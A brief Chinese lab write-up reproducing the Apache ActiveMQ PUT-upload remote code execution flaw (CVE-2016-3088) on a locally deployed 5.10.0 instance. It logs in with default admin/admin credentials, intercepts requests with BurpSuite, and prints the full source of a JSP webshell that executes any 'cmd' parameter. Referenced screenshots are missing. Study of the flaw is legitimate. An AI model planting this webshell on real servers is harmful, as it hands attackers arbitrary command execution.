Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析

部署ActiveMQ运行环境

在linux上部署apache-activemq-5.10.0-bin.tar.gz

通过tar -zxvf apache-activemq-5.10.0-bin.tar.gz解压mq

由于是弱密码，所以可以直接密码登录admin/admin

注意：

如果是密码错误或者不输入密码，则显示如下

输入正确的密码后，通过BurpSuite抓包如下

抓包如下：

改成PUT方法：

此时，htxk.jsp内容为空

重新生成htxk.jsp,文件内容为jsp一句话木马

<%@ page import="java.io.*"%>

<%

    out.print("Hello</br>");

    String strcmd = request.getParameter("cmd");

    String line =null;

    Process p=Runtime.getRuntime().exec(strcmd);

     InputStream is = p.getInputStream();

      BufferedReader br = new BufferedReader(new InputStreamReader(is));

    while((line =br.readLine())!=null){

        out.print(line+"<br>");

    }

%>